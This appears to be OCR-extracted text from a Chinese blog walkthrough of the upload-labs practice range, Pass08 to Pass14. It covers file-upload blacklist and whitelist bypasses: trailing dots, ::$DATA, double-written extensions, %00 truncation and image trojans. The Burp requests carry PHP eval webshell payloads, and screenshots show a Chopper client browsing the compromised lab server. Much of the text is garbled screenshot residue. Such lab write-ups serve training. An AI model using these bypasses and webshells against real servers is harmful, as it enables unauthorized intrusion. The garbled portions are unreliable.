	Connection: close	<form enctype="multipart/form-data" method="post" onsubmit="return</td><td></td><td></td></tr><tr><td></td><td>Content-Type: multipart/form-data;</td><td>checkFile()"></form>		
	Content-Length: 340	<input class="input_file" name="upload_file" type="file"/>		
	326411255226863	<input class="button" name="submit" type="submit" value="00"/>		
	Content-Disposition: form-data; name="upload_file"; filename="yijuhuamuma.php_"	<div id="msg"></div>		
	Content-Type: application/x-php			
	php</td <td><ing src="/upload/202011071930211727.php " width="250px"></ing></td> <td></td> <td></td>	<ing src="/upload/202011071930211727.php " width="250px"></ing>		
	phpinfo(); 后面有个空格			
	7>326411255226863	47/</td <td></td> <td></td>		
	Content-Disposition: form-data; name="submit"			
	000	<pre><center>Copyright @ <span< pre=""></span<></center></pre>		
	326411255226863	id="copyright_time">ánbsp;byánbsp; <a <br="" href="http://gv7.me">taywata" hanb"bafmy1/(a)((antarb		
		<div class="mask"></div>		_
🚱 🦾 🚞 🕓 🝓) 🔮 🚯 🗹	https://blogicse	hn.∰21/4×0_5080	933

文件(E) 编辑(E) phpinfo()	查看(V) 历史(S	→ 书签(B) 工具() × +	[] 帮助([])		-	-		_					. 0	x
(.68.1 未知IP	a { word-wrap: b	oreak-word, }	a:link, a:visite	ed { color: #e06	i228, color: #4040	2 💂 🥒 🖗 🗖 😤 🔍 總家 🔍 🚖			6 - @	- C	₩ - ((5 -	=
INT -	SOL BASIC	S* UNION BASE	ED* ERROR/	DOUBLE OU	ERY* TOOLS*	WAF BYPASS*	CODING* HTML* ENCRYPTION* OTHER* XSS* LFI*							
B Load URL	http://192.168.	10.128:8000/uplo	ad/upload/20	02011071930	211727.php									- ר
Split URL						J								
• Execute														
	Post data	📃 Referrer 🛛 🗲	0xHEX	• — •	SURL 🗩 🤞	BASE64 🗩	Insert string to replace Insert replacing string 🗹 Replace All 🗩 🏷							
RETCRAFT .	Antrager - Services [No information available]													
						PHP Ver	ion 5.3.29							Î
						System	Windows NT EXPLOIT7 5.2 build 3790 (Windows Server 2003 Enterprise Edition Service Pack 2) i586							
						Build Date	Aug 15 2014 19:15:47							
						Compiler	MSVC9 (Visual C++ 2008)							
						Architecture	x86							
						Configure Command	cscript /nologo configurejs"-enable-snapshot-build"disable-isapi"-enable- debug-pack' "-without-mscql"without-pdc-mscql "-without-pi3web" "-with- pdc-ocie_Chybp-sdk/oracle/instantcient()Sdk/shared' "-with-oci8=C1php- sdk/oracle/instantcient()Sdk/shared' "-with-oci8=11g=C1php-sdk/oracle \instantcient()\sdk/shared' "-with-oci8=11g=C1php-sdk/oracle \instantcient()\sdk/shared' "-with-oci8=11g=C1php-sdk/oracle \instantcient()\sdk/shared' "-without=10"-disable-stabic- com-dontershared' "-with-mcrypt=stabic" "-udisable-stabic-analyze"							
						Server API	Apache 2.0 Handler							
						Virtual Dire Support	enabled							
						Configuratio File (php.ini Path	CAWINDOWS							
						Loaded Configuratio File	C\phpStudy\php53\php.ini							
~						Scan this di	or (none)							Ŧ
📀 🧷		🔿 🧶	(il)	3						https:/	/blo gic sd	n.#@t/#%0_	-5028/1	1933

Pass08 黑名单验证: 点绕过

点绕过原理:

Windows系统下,文件后缀名最后一个点会被自动去除。

又件(1) 编辑(1) 查看(1) 历史(3) 书绘(8) 工具				X
				-
(192.1t ▼ жлшР }а { word-wrap: bi	eak-word, jatlink, atvisited { color: #e00228, color: #404042 🚆 🥒 🖥 🔤 🔍 🕷 🔍 🕸			=
♂ PHP站点素引	Burp Suite Professional v2.1.07 - Temporary Project - licensed to surferxyz		<u>1</u>	
INT - • SQL BASICS+ UNION BA	S Burp Project Intruder Repeater Window Help		1	
B Load URL (http://192.168.10.128:8000/up	Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project option	ns User options		- (
<u>Split URL</u>	7 × 8 × 9 × 10 × 11 × 12 × 13 ×			٠
Execute				
🔲 Post data 📃 Referrer ላ	Send Cancel < Y > Y	Target: http://192.168.10.128:8000 🖉 🤇		
Services* [No information av	a Request	Response	1	
	Raw Params Headers Hex	Raw Headers Hex HTML Render		^
ᇤᆮᅃᇯᅴᇛᆇᆿ	POST /upload/Pass-08/index.php HTTP/1.1	A	空上传文件	
•	Host: 192.168.10.128:8000 User-Agent: Mozilla/5.0 (Windows NT 6.1; W0W64; rv:47.0) Gecko/20100101	<div id="upload panel"></div>	 	
	Firefox/47.0 Accent: text/html application/whtml+xml application/xml:g=0.9 */*:g=0.8			
Pass-01	Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3	<h3>00</h3>		
Pass-02	Accept-Encoding: gmip, deflate DNT: 1	dDDDC <code>webshell</code> CDDDC		
Pass-03	Referer: http://192.168.10.128:8000/upload/Pass-08/index.php	<1i><1:>		
Pass-04	BEEFHOOK=RKOD:ran0L30VZJjh2xZry7v4n5gpxKVXrWFF4nx81jxxL0c4ZYe0caFXPLRQX1MMyYD10fpdIj	<form enctype="multipart/form-data" method="post" onsubmit="return</td><td></td><td></td></tr><tr><td>Pass-05</td><td>kuLYGT
X-Forwarded-For: 8.8.8.8</td><td><pre>checkFile()"></form>		
Pass-06	Connection: close	<input class="input_file" name="upload_file" type="file"/>		
Pass-07	Content-Type: multipart/form-data; boundary=	<pre><input class="button" name="submit" type="submit" value="UU"/> </pre>		
Pass-08	600056465225	<div id="msg"></div>		
Pass-09	Content-Disposition: form-data; name="upload_file"; filename="yijuhuamuma.php."	<div id="ind"></div>		
Pass-10	Content-Type: application/octet-stream			
Pass-11	php</td <td><!--1i--></td> <td></td> <td></td>	1i		
Pass-12	phpinfo();			
Pass-13	₽			
Pass-14	Content-Disposition: form-data: names"submit"	<pre><div id="footer"></div></pre>		
Pass-15		id="copyright_time"> by <a <="" href="http://gv7.me" td=""><td></td><td></td>		
Dace 16	600856495335	target="_bank">c0nyl 		
Dace 17		<pre><div class="mask"></div> <duv class="dialog"></duv></pre>		
Fd55-17	4	<pre><div class="dialog-title">D :D<a <="" href="javascript:void(0)" pre=""></div></pre>		-
等待 192.168.10.128		Class="close" title="00">00	<u></u>	
		https://blogicse	an.fipt/4x0_5020	<u>19</u> 33

文件(E) 编辑(E) 查看(V) 历史(S) 书签(B) 工具(E) 帮助(H)				×							
phpinfo() × +											
(全) [192.168.1 未知P]a { word-wrap: break-word,]a:link, a:visited { color: #e062	28, color: #404042	💂 🥒 🖻 🔤 🔍 🞉	. 🖡 🏫 📦 र ३६ 🛞 र 🍕 🦣 र 🍭 🖞 र 🚳 र 🍥 र	≡							
PHP站点索引											
INT 🔹 e e SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-											
Coad URL http://192.168.10.128:8000/upload/upload/yijuhuamuma.php	a Logd URL [http://192168.10.128.8000/upload/u										
8 Split URL				٠							
Execute	gerute										
📄 Post data 📋 Referrer < 0xHEX 🍉 < %URL 🚬 <	BASE64 🗩	Insert string to replace Insert replacing string 📝 Replace All 🗩 🌫									
Services* [No information available]											
	PHP Version 5.3.29										
	System	Windows NT EXPLOIT7 5.2 build 3790 (Windows Server 2003 Enterprise Edition Service Pack 2) i586									
	Build Date	Aug 15 2014 19:15:47									
	Compiler	MSVC9 (Visual C++ 2008)									
	Architecture	x86									
	Configure Command	cscript /nologo configureswenable-snapshot-builddisable-isapienable- debug-packwithout-mssqlwithout-pido-mssqlwithout-pido-odic-Chpho-sdk/oracle/instanticient10,sdk/sharedwith-odi8-11g=C/php-sdk/oracle instantclient11\sdk/sharedwith-odi8-11g=C/php-sdk/oracle /instantclient11\sdk/sharedwith-odi8-11g=C/php-sdk/oracle com-dotters-haredwith-mcrypt=taticdisable-static-analyze									

📀 🥝 🚞 🕓 🕑 📓 📓

Pass09 黑名单验证: ::\$DATA绕过

Server API Virtual Directory Support

Configuration File (php.ini) Path

Loaded Configuration File

Scan this dir for (none)

Apache 2.0 Handler enabled

C:\WINDOWS

C:\phpStudy\php53\php.ini

特殊符号绕过原理:

Windows系统下,如果上传的文件名中test.php::\$DATA会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。

https://blogicsdn.tp1/4x0_502000033

📉 💷 🗀 💷 💽 🔳 🚺	🚯 Burp Suite Community E 📦 upload-labs - Mozilla Fir	uite Community E 👙 upload-labs - Mozilla Fir								
	Burp Suite Community Edition v2020	0.9.1 - Temporary Project	_ = ×			x				
• upload-labs × +	Burp Project Intruder Repeater Window Help					1				
\leftrightarrow \rightarrow X ŵ (3) 192.1		© ☆	lii\ 🗊 🗳	≡						
▲ Kali Linux ▲ Kali Training ▲ Kali Tools	Send Cancel < Y > Y		语众上传女件							
тьсооо-юта	Request	Response			METICAL					
	Raw Params Headers Hex	Raw Headers Hex								
Pass-01 Pass-02	Pretty Raw In Actions V	Pretty Raw Render \n Actions \								
Pass-03 Pass-04 Pass-05 Pass-06	<pre>1 bGT /uplaad-labs/WWW/Pess-00/index.php HTTP/1.1 4 5 lbst:192.106.30.3 5 lbst-Agent: Mozilla/5.0 lX1; Linux 86_64; rv:68.0) Gecke/20100101 Firefox/68.0 4 Accept: Lenguage: en:05.en:q=0.5 6 Accept-Language: en:05.en:q=0.5 6 Accept-Language: en:05.en:q=0.5 6 Accept-Language: en:05.en:q=0.5 7 Accept: Language: en:05.en:q=0.5 7</pre>	55								





😤 📰 📩 🔚 🜉 📧 🚺 🚯 Burp Suite Community 🔞 PHP 7.3.4 - phpinfo() - M		08:58下午 🗖 🕕 🏚 86% 🔒 😋
	PHP 7.3.4 - phpinfo() - Mozilla Firefox	_ = ×
PHP 7.3.4 - phpinfo() × +		
	.pnp	
🛆 Kali Linux 🥆 Kali Training 🥆 Kali Tools 🧧 Kali Docs 🥆 Kali Forums 🛆 NetHunter 👖 Offensive S	Gecurity 🛸 Exploit-DB 🛸 GHDB 🏦 MSFU 🦝 upload-labs	
PHP Version 7.3.4	php	
System	Windows NT WIN-VDGHAFVL9QB 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) AMD64	
Build Date	Apr 2 2019 21:50:57	
Compiler	MSVC15 (Visual C++ 2017)	
Architecture	x64	
Configure Command	cscript /nologo configure.js*-enable-snapshot-build**-enable-debug-pack**-disable-zts**-with- pdo.cci=c:php-snap-build/deps_aux/oracle/sk4/instantcient_12_1gds/shared**with- ocib12-cc:php-snap-build/deps_aux/oracle/sk4/instantcient_12_1sds/shared**-enable-object- out-dir=/objr**-enable-com-dotnet=shared**-without-analyzer**-with-pgo*	
Server API	CGI/FastCGI	
Virtual Directory Support	disabled	
Configuration File (php.ini) Path	C:\Windows	
Loaded Configuration File	E:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini	
Scan this dir for additional .ini fil	es (none)	
Additional .ini files parsed	(none)	
PHP API	20180731	
PHP Extension	20180731	
Zend Extension	320180731	
Zend Extension Build	API320180731,NTS,VC15	
PHP Extension Build	API20180731,NTS,VC15	
Debug Build	no	
Thread Safety	disabled	
Zend Signal Handling	disabled	
Zend Memory Manager	enabled	
Zend Multibyte Support	provided by mbstring	
IPv6 Support	enabled	https://blog.csdn.net/m0_50800033

Pass10 黑名单验证: 点+空格+点绕过

源代码先是去除文件名前后的空格,再去除文件名最后所有的.,再通过strrchar函数来寻找.来确认文件名的后缀,但是最后保存 文件的时候没有重命名而使用的原始的文件名,导致可以利用1.php..(点+空格+点)来绕过。 文件(D) 编辑(E) 查看(V) 历史(S) 书签(B) 工具(I) 帮助(H)

_ 0 ×

🕜 正在连接.	× +										
(192.1	1€ ▼ 未知IP }a { word-wrap: bre	eak-word, }a:link, a:visited { color: #e06228, color: #404042 💂 🥒 🖯 🚧 💾 👟 🛛 🛞 🔍 🙊	☆自 🖡 舍 🞯 - 15 양 - 용+ 💀 🧕 - 이 -	🐠 👻 🍈 👻	≡						
⑦ PHP站点索引		Burp Suite Professional v2.1.07 - Temporary Project - licensed to surferxyz									
INT 🔻	SQL BASICS* UNION BAS	Burp Project Intruder Repeater Window Help									
a Lo <u>a</u> d URL	http://192.168.10.128:8000/upl	Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options	User options] -						
🖁 Split URL			<pre>s. avided { color. #00028, color. #00042 @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @</pre>								
• Execute		ord, Jainie, avided [color. #404042]									
	📄 Post data 📄 Referrer 🖪	Send Cancel < v > v	Target: http://192.168.10.128:8000 🖉 🕐		ĺ.,						
RETCRAFT .	Services* [No information ava	Request	Response								
L		Raw Params Headers Hex	Raw Headers Hex HTML Render	~~~**	Â						
	-000-1023	POST /upload/Pass-10/index.php HTTP/1.1		PTRX#							
		User-Agent: Mozilla/5.0 (Windows NT 6.1; W0W64; rv:47.0) Gecko/20100101	<pre>//iii/ <a <="" id="Pass-20" pre=""></pre>								
		Firefox/47.0 Accept: text/html.application/xhtml+xml.application/xml;g=0.9.*/*;g=0.6	<pre>href="/upload/Pass=20/index.php">Pass=20 Pass=21 </pre>								
	Pass-01	Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3									
	Pass-02	Accept-Encoding: gmip, deflate DNT: 1									
	Pass-03	Referer: http://192.168.10.128:8000/upload/Pass-09/index.php	<div id="upload_panel"></div>								
	Pass-04	BEEFHOOK=RKOB:ran0L30VZJjh:2xZry7v4n5gpxKVXrWFF4nx81jxxL0c4ZYe0caFXPLRQX10D4yD10fpdIj	<01> <1i>								
	Pass-05	kuLYGT	<h3>DD </h3>		-						
	Pass-06	Connection: close									
	Pass-07	Content-Type: multipart/form-data; boundary=74862267216635	<1i> <h3>DDD</h3>								
	Pass 08	Content-Length: 338	<form enctype="multipart/form-data" method="post" onsubmit="return</td><td></td><td></td></tr><tr><td></td><td>Page 00</td><td>74862267216635</td><td><pre>checkFile()"></form>								
	Pass-09	Content-Disposition: form-data; name="upload_file"; filename="11.php"	<input class="input_file" name="upload_file" type="file"/>								
	Pass-10	content-Type: application/octet-stream									
	Pass-11	php</td <td><div id="msg"></div></td> <td></td> <td></td>	<div id="msg"></div>								
	Pass-12	phpinfo();	<div id="ing"></div>								
	Pass-13	2>	<ing "="" #idth="250px" ll.php.="" src#"="" upload=""></ing>								
	Pass-14	74862267216635									
	Pass-15	Content-Disposition: form-data; name="submit"									
	Pass-16	2485255215525-									
	Pass-17	/100220/220030***	<pre><center>Copyright :@ :<span< pre=""></span<></center></pre>								
等待 192,168,10	128		<pre>id="copyright_time">&nbmpby&nbmpc0nv1</pre>								
			https://blog.csa	n.∰t/¢x0_50500	933 ·						

文件(E) 編輯(E)	查看(V) 历史(S) 书签(B) 工具(T) 帮助(H)									- 0	x
phpinfo()	× +										
() 192.:	L68,1 未知IP }a { word-wrap: break-word,	}a:link, a:visited { color: #e06228, color: #	±404042 🚍 🏾 🥒 🗛 📑 🛛 🔿	c 🙆 Q. ###	☆ 自	↓ ♠ @ · .	JS 💮 🗸 🌲	- 💀 🇞 - Q	0 0	• @ -	=
								-			_
(FHP站京菜5)											-
	SQL BASICS* UNION BASED* ERROR	DOUBLE QUERY* TOOLS* WAF BYPAS	S* ENCODING* HIML* ENCR	RYPTION* OTHER* XSS* LFI*							5
C PLUD	http://192.168.10.128:8000/upload/upload/	11.php									-
& Spin OKL											•
C Liecate			-								
L	Post data Keterrer COXHEX 2	BASE04	Insert string to replace	Insert replacing string							-
HETCRAFT	Services* [No information available]										
		2112									Â
		PHP	version 5.5.29		(pnp)						
		System	Windows NT EXPLOI Service Pack 2) i586	IT7 5.2 build 3790 (Windows Server 2003 I	Enterprise Edition						
		Build D	ate Aug 15 2014 19:15:47	7							
		Compil	er MSVC9 (Visual C++ 2	2008)							
		Archite	cture x86								
		Configu	re cscript /nologo confi	igure.js "enable-snapshot-build" "disal	ble-isapi" "enable-						
		Comma	nd debug-pack" "witho pdo-oci=C:\php-sdk'	out-mssql" "without-pdo-mssql" "with <\oracle\instantclient10\sdk.shared" "with	out-pi3web" "with- h-oci8=C:\php-						
			sdk\oracle\instantclie	ent10\sdk,shared"with-oci8-11g=C:\ph	ip-sdk∖oracle						
			\instantclient11\sdk,s com-dotnet=shared*	shared" "enable-object-out-dir=/obj/" " "with-mcrypt=static" "disable-static-a	"enable- inalyze"						
		Server	API Apache 2.0 Handler		-						
		Virtual	Directory enabled								
		Suppor	1								
		Configu File (ph	p.ini)								
		Path	• •								
		Loaded	C:\phpStudy\php53\p	php.ini							
		File	iration								
		Scan th	is dir for (none)								-
) 📋 🔿 🕘 🔮							https:	//blogicsdn.#	∎t/€%0_5080	2033

Pass11 黑名单验证:双写绕过

源代码使用str_ireplace函数将符合黑名单中的后缀名进行替换为空。所以可以双写绕过。

把文件后缀改为".pphphp"



上传并访问成功:(⁷)

	Burp Suite Communit	ty 😈 PHP 7.3.4 - phphho() - M		09.36	
			PHP 7.3.4 - phpinfo() - Mozilla Firefox		_ 0
PHP 7.3.4 - phpinfo() ×	+				
< → ୯ ଜ	(i) 192.168.130.3/upload-labs/WW			🖂 🕁	IN A @ =
A Kali Linux A Kali Training A	Kali Taala 🖉 Kali Dasa 🚿 Kali Faru	ums NotHunter Offensive Security	• Evaluit DR • CUDR · MCELL - unload labe	~ ~	
	Kati Foots 👱 Kati Docs 🔍 Kati Foru				
		PHP Version 7.3.4	php		
		System	Windows NT WIN-VDGHAFVL9QB 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) AMD64		
		Build Date	Apr 2 2019 21:50:57		
		Compiler	MSVC15 (Visual C++ 2017)		
		Architecture	x64		
		Configure Command	cscript /nologo configure.js *-enable-snapshot-build* *-enable-debug-pack* *-disable-zts* *-with- pdo-cci=ctphp-snap-build*deps_aux/practedx64instantclient_12_1sldx.shared*with- cci8t2cc=ctphp-snap-build*ges_aux/oraclev64instantclient12_loldx.shared* *-enable-object- out-dir=.,/obj* *-enable-com-dotnet=shared* *-without-analyzer* *-with-pgo*		
		Server API	CGI/FastCGI		
		Virtual Directory Support	disabled		
		Configuration File (php.ini) Path	C:\Windows		
		Loaded Configuration File	E:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini		
		Scan this dir for additional .ini files	(none)		
		Additional .ini files parsed	(none)		
		PHP API	20180731		
		PHP Extension	20180731		
		Zend Extension	320180731		
		Zend Extension Build	API320180731.NTS,VC15		
		PHP Extension Build	API20180731,NTS,VC15		
		Debug Build	no		
		Thread Safety	disabled		
		Zend Signal Handling	disabled		
		Zend Memory Manager	enabled		
		Zend Multibyte Support	provided by mbstring		
		IPv6 Support	enabled		

Pass12 白名单验证: GET型%00截断

看源代码使用了白名单,但是这里有一个\$_GET['save_path']用get来传递参数后面再加上后缀名 \$img_path = *ET*[*save ath*]."/".*rand*(10,99).*date*("YmdHis").".".file_ext;

我们可以用%00截断来绕过

在url中%00表示ascll码中的0,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。

但是有环境限制: php版本要小于5.3.4,5.3.4及以上已经修复该问题



save_path 保存路径参数可控,Get参数,直接%00 截断,中间件Apache接收到请求后会将%00解码一次,也就变成了空字节,在内存中一段字符串的结束通常以空字节标识,空字节后面的数据也就被截断了,因此\$img_path=…/upload/getshell12.php



直接菜刀连接:

Request			Response				
Raw Params Headers Hex			Raw Headers Hex HTML	Render			
PGST July and March 12/1640 mph/rever_path: /uplend/gethall2 phg/000 jpg MIT/1 1 Kest 12:6.16.2446 m00 June 2000 mph/rever_path: June 2000 mph/rever_path: Verst 12:6.16.2446 m00 June 2000 mph/rever_path: June 2000 mph/rever_path: June 2000 mph/rever_path: Verst 12:6.16.2 mph/rever_path: 10:1.16.2 mph/rever_path: June 2000 mph/rever_path: June 2000 mph/rever_path: Verst 12:6.16.2 mph/rever_path: 10:1.16.2 mph/rever_path: June 2000 mph/rever_path: June 2000 mph/rever_path: Verst 10:1.16.2 mph/rever_path: 10:1.16.2 mph/rever_path: June 2000 mph/rever_path: June 2000 mph/rever_path: Verst 10:1.16.2 mph/rever_path: 10:1.16.2 mph/rever_path: June 2000 mph/rever_path: June 2000 mph/rever_path:	0	Â	(1;) ∧s id="Pass=1 (1;) ∧s id="Pass=1 (1;) ∧s id="Pass=1 (1;) ∧s id="Pass=1 (1;) ∧s id="Pass=2 (1;) ∧s id="Pass=2	5" href=", 5" href=", 7" href=", 8" href=", 9" href=", 0" href=",	/unload/Pass-15 /unload/Pass-16 /unload/Pass-17 /unload/Pass-18 /unload/Pass-19 /unload/Pass-20	/index.php">Pass=15 /index.php">Pass=16 /index.php">Pass=16 /index.php">Pass=17 /index.php">Pass=18 /index.php">Pass=18 /index.php">Pass=19 /index.php">Pass=20 /index.php">Pass=20	
Cookie: ECS[visit_times]=1	172. 16. 12. 144 +					> = 🗆 🗙	
I-Forwarded-For: S.S.S.S Connection: close	C: V				土 🖌 读取	星期二 2021-01-19 腊月初七	
Content-Type: multipart/form-data: boundary=3095719109292	172.16.12.144 目录(21), 文件(54)	名称	时间	大小	属性	▲ □ □ 站点类别	
Content-Length: 331	H 🗢 📴	🗀 bes	2015-12-24 10:34:22	0	0777	🖸 默认类别	
3095719109292	🖨 bes	Config. Mai	2020-10-24 15:52:22	0	0777	□ Typel □ 日程提醒	
Content-Disposition: form-data: name="upload_file": filename="haha.jpg" Content=Temp: incon/inco	Doguments and Sattings	Documents and Settings	2013-12-18 13:40:01	0	0777	 快捷方式 	
contents the number the	Dvbbs8.2.0_SQL	Dybbs8. 2. 0 SQL	2013-10-28 16:58:01	0	0777		
GIF89a (2mba 0EVAI (\$ POSTI' aba']) 2)	🚞 Inetpub	inetpub	2015-12-18 15:40:28	0	0777		*S
	i ngine-1.3.5	aging-1.3.5	2015-12-18 15:27:21	0	0777		ľ l
Content-Disposition: form-data; name="submit"	Program Files	phpStudy	2015-12-18 13:47:10	0	0777		
過要缺	🚞 radmin3.2	C Program Files	2020-10-24 15:51:36	0	0555		
3095719109292	C RECYCLER	🛅 radmin3.2	2013-12-18 13:28:25	0	0777		
	Serv-U	a RECYCLER	2011-02-16 21:23:02	0	0777		
	a soft	🛅 Repositories	2015-11-10 11:26:59	0	0777		x" />
	System Volume Information	🚞 Serv-U	2020-12-23 23:37:01	0	0777		
	Tools	🛅 soft	2015-11-10 11:38:35	0	0777		
	C Yeb100	🚞 System Volume Information	2011-02-16 19:41:08	0	0777		
	C VINDOWS	🛅 Toncat 7.0	2013-12-18 13:45:15	0	0777		
	vineil	🛅 Tools	2020-01-04 10:15:12	0	0777		hbsp:by :\s href= http://gv/.me
	inpus munshi	🚞 Web100	2013-04-23 13:17:23	0	0777		
	See D:	C WINDOWS	2020-12-23 23:41:05	0	0777		
	E:	🚞 winnail	2009-01-17 09:28:33	0	0777		*"close" title="关闭">关闭(/a>(/div>
		🛅 wapub	2011-02-16 19:30:46	0	0777		
						GB2312	,
		Ţ	<pre>Garript type="text/javascript" ar Garript type="text/javascript" ar Garript type="text/javascript" ar Garript type="text/javascript" ar (html)</pre>	c="/uploa c="/uploa c="/uploa c="/uploa	d/js/prism.js"> d/js/prism-line d/js/prism-php. d/js/index.js">	≪script> -mumbers.min.js">√script> min.js">√script> ≪script>	<u>,</u> קייי © ∳ ≡ ≞ * #

Pass13 白名单验证: POST型%00截断

GET和POST区别在于,GET是可以把url自动转码的,但是POST不会,所以需要在二进制中进行修改。



菜刀连接:

7057 /uplead/Facr-13/index.php HTIF/1.1 Heat: 17.2.16.12.144.8000 War-Mgent: Weillud/S.0 Windews HT 6.1: W0W64; rv:47.0) Gweka/20100101 Firefox/47.0 Accept: text[Mat],upplication/ahul=ml,upplication/ahu[=0.3] #/#.e=0.8 Accept:Language: http://dx.e=0.3			Qi≫a id="Pass=16" b Qi≫a id="Pass=17" b Qi≫a id="Pass=17" b Qi≫a id="Pass=18" b Qi≫a id="Pass=19" b Qi≫a id="Pass=70" b	wef="/upl wef="/upl wef="/upl wef="/upl wef="/upl	oad/Pass=16/is oad/Pass=17/is oad/Pass=18/is oad/Pass=19/is oad/Pass=20/is	ndex.php">Pass=16 {/a>{/1i> ndex.php">Pass=17 {/a>{/1i> ndex.php">Pass=18 {/a>{/1i> ndex.php">Pass=18 {/a>{/1i> ndex.php">Pass=19 {/a>{/1i> ndex.php">Pass=19 {/a>{/1i>	
DHT: 1 Referer: http://172.16.12.144:8000/upload/Pass=13/index.php	172. 16. 12. 144 +					> = 🗆	×
Cookie: ECS[visit_times]=1 I-Forwarded=For: 8.8.8.8	🚞 C:X				土 🖌 读取	星期二 2021-01-19 腊月初七	
Connection: close	172.16.12.144 目录(21), 文件(54)	名称	时间	大小	属性	● □ □ 站点类别	
Content-Type: multipart/form-data: boundary=54161904914681 Content-Length: 462		🚞 bea	2015-12-24 10:34:22	0	0777	Type1	
Sources Beingen. 100	Config. Hsi	Config. Msi	2020-10-24 15:52:22	0	0777	○ 日程提醒	
5416190/914681	Documents and Settings	Documents and Settings	2013-12-18 13:40:01	0	0777	○ 快速方式	
content proposition. Form unce, name- save_path	Dvbbs8.2.0_SQL	🛅 Dvbbz8. 2. 0_SQL	2013-10-28 16:58:01	0	0777		
/upload/getshell13.phpjpg	netpub	🚞 Inetpub	2015-12-18 15:40:28	0	0777		
Content-Disposition: form-data; name="upload file"; filename="haha jpg"	phpStudy	🛅 ngins=1.3.5	2015-12-18 15:27:21	0	0777		
Content-Type: image/jpeg	🚞 Program Files	🚞 phpStudy	2015-12-18 13:47:10	0	0777		
GTESSA	C radnin3.2	🚞 Program Files	2020-10-24 15:51:36	0	0555		
<pre>(?php 0EVAL(\$_POST[' abc']);?></pre>	Benoxitories	🚞 radmin3.2	2013-12-18 13:28:25	0	0777		
Content-Disposition: form-date: neme="submit"	🚞 Serv-V	EECTCLER	2011-02-16 21:23:02	0	0777		
content pisposition. Torm data, name- submit	a soft	🚞 Repositories	2015-11-10 11:26:59	0	0777		
消费结	System Volume Information	🚞 Serv-V	2020-12-23 23:37:01	0	0777		> (/div>
	Tools	a soft	2015-11-10 11:38:35	0	0777		
	🚞 Web100	🚞 System Volume Information	2011-02-16 19:41:08	0	0777		
	WINDOWS	Concat 7.0	2013-12-18 13:45:15	0	0777		
	winnail	a Tools	2020-01-04 10:15:12	0	0777		
	🚞 xunshi	🚞 Web100	2013-04-23 13:17:23	0	0777		; by <a <="" href="http://gv7.me" td="">
	🥪 D:	C WINDOWS	2020-12-23 23:41:05	0	0777		
	See E:	in winnail	2009-01-17 09:28:33	D	0777		
		ampub	2011-02-16 19:30:46	0	0777		pse" title="关闭">关闭
						* (B23	312
		Vesay Geript t Geript t Geript t Geript t Gript t	<pre>ype="text/javascript" src="/ ype="text/javascript" src="/ ype="text/javascript" src="/ ype="text/javascript" src="/</pre>	'upload/j; 'upload/j; 'upload/j; 'upload/j;	:/jquery.min.j: :/prism.js">/: :/prism=line=m :/prism=php.miz :/index.js">/:	s"≫(script) script) mbers.min.js">((script) n.js">((script) script)	
? < + > Type a search term		0 matches 2	< + > Type a sea	rch term			0 matc

Pass14 图片马: 文件包含利用

ФрLood-loよS			显示源码 查看提示	清空上传文件
Pass-01 Pass-02 Pass-03 Pass-04 Pass-05 Pass-05 Pass-07 Pass-08 Pass-09 Pass-10 Pass-11 Pass-12 Pass-12 Pass-13 Pass-14 Pass-15 Pass-16	任務 上传 副43 到服务器。 注意: 1.保证上传后的图片马中仍然包含完整的一%3 2.使用文件包含無例能這行图片马中的恶意代 3.图片马要 [364] and [3] and [提示 × 本pass检查图标内容开头2个字节!		
Pass-17 Pass-18 Pass-19 Pass-20 Pass-21				
<u> </u>		m	110058//0101010101050	naneo/mo_50500055

方法一:

在一句话木马前加上一行: GIF89a



利用文件包含,通过菜刀连接下面地址:

http://172.16.12.144:8000/upload/Pass-14/index.php?file=.../upload/4620210119213721.gif



方法二:

在windows上制作图片马: copy 1.jpg/a + 1.txt/b 2.jpg 其中1.txt中的内容为一句话木马, 1.jpg则是一张图片。生成的图片马是2.jpg。

或者使用winhex工作制作图片马:



上传木马:

Go Cancel < | ¥ > | ¥ Target: http://172.16.12.144:8000 🖉 🕐 Request Response
 Pranm
 Pranm
 Headers
 Her

 DOST / plashed?Fact 1 (/ shock splm) file: 5/mplash/M20011018013721, gif MTTP/1.1

 Mast 1 123, 10.2 114.0000

 Wars / Agent: Warsillad's O (mindex BT 6.1; Wolfs); rvv(T: 0) Grack/2010010 Firsfas/d'; 0

 Accept: test/Mindex, application/Markinal, a
 Q1>C
 ib²
 Raw Params Headers Hex (Parturn -) (1) (2) (3)上代ectal/現片马(veale)現現多額、(fp) (5)上代ectal/現片马(veale)規則多額、(fp) (5)上代生人的的現片马中仍然包含設置的Cotal>一句话(veale)現在(veale)代码。(fp) (5)、現上長的的現片马中仍然包含設置的Cotal>一句话(veale)現在(veale)代码。(fp) (5)、現片马便(veale), ipg(veale), (seale), pgg(veale), (seale), gf (veale)三种后限器上投版功/算过尖1(fp) (m)) ______24603051718139 Content-Disposition: form-data: name="upload_file": filename="1,jpg" Content-Type: inage/jpeg JFIF с 3)上校校 (A)A) or enctype="maltipart/form-data" method="post") 今)诸道林夏上校的限计。今 Gampat class="buttom" type="fulle" name="upload_file"/) Gampat class="buttom" type="submit" name="submit" value="上校"/> Gampat class="buttom" type="submit" name="submit" value="上校"/> [A] 11A Qa "q 2人 #8團 R行33br %A' O=456789:CD2FGHIJSTUWWITZcdefghijstuwexyz能厚啥類振脫标模很至少水} 游吹斗腹部個幹俗填尖裁許到登任演發插罩鏡趨鏡 </div> (div) (/div) (div)
(div)
(div)de*fester?)
(cnter%epyright@nbep;@mbep;Gym.id**cpyright_tise?/(yym.%mbep;bydnbep;(a krefs*http://pv?.ee*
tergets"_knk2>dpyr(ds/cnter%
(div)dses*enk2>dkiv?
